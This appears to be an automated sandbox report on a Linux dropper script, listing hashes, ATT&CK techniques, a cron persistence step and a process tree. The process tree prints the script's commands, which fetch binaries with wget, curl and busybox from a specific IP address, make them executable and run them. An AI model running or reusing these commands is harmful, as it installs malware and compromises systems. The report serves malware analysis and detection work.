7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 07:01

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General

Target

B98CD_bins.sh
Size

10KB
MD5

0a7d8be88ccc96d0d1a91c27f63e3a6c
SHA1

ba922eff12ebe57a6064f8773d16d9a51cde88f1
SHA256

7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277
SHA512

3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3
SSDEEP

192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2214) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1486	chmod
1493	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	1487	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	1494	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Renames itself 1 IoCs

pid	Process
1495	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vSAbw7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1522/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1668/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/13/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/473/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1049/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1175/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1515/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1584/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1624/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1685/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1701/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/12/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1538/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1663/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1680/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1691/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1581/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/253/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/448/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/666/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1461/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1517/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1550/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1553/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1583/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1626/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/85/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1139/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1648/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/10/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/993/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1164/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1468/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1574/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1599/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1640/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1655/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1674/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1694/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/949/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1595/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/115/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/155/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/157/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/196/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1268/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1681/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/28/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/440/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/507/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1563/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1564/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/513/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1070/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1539/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1607/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1703/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/130/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1561/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1653/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1677/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1535/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1551/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	busybox
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	wget
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	busybox
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	wget
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl

/tmp/B98CD_bins.sh
/tmp/B98CD_bins.sh
1⤵
PID:1465
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1466
- /usr/bin/wget
  wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:1467
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:1485
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:1486
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:1487
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:1489
- /usr/bin/wget
  wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:1490
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1494
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1496
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1497
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1498
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1499
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:1512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.vSAbw7

Filesize
210B

MD5
047ea650fc3566161358e8ffa88e9b98

SHA1
ceee49ad5db01f77c9e1ea20e8a8214632974ab5

SHA256
a7e0bebcd99e7def16295264a1710271dadf5fbcf50706de6ecf168909c287bd

SHA512
5019483481404be3b7b15593b92dc3caab0fd26ba7798389402e666c2829c983afac28519633fea5c78664c999a537354ec5f2113f6e4062b30e181079bc6da8

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads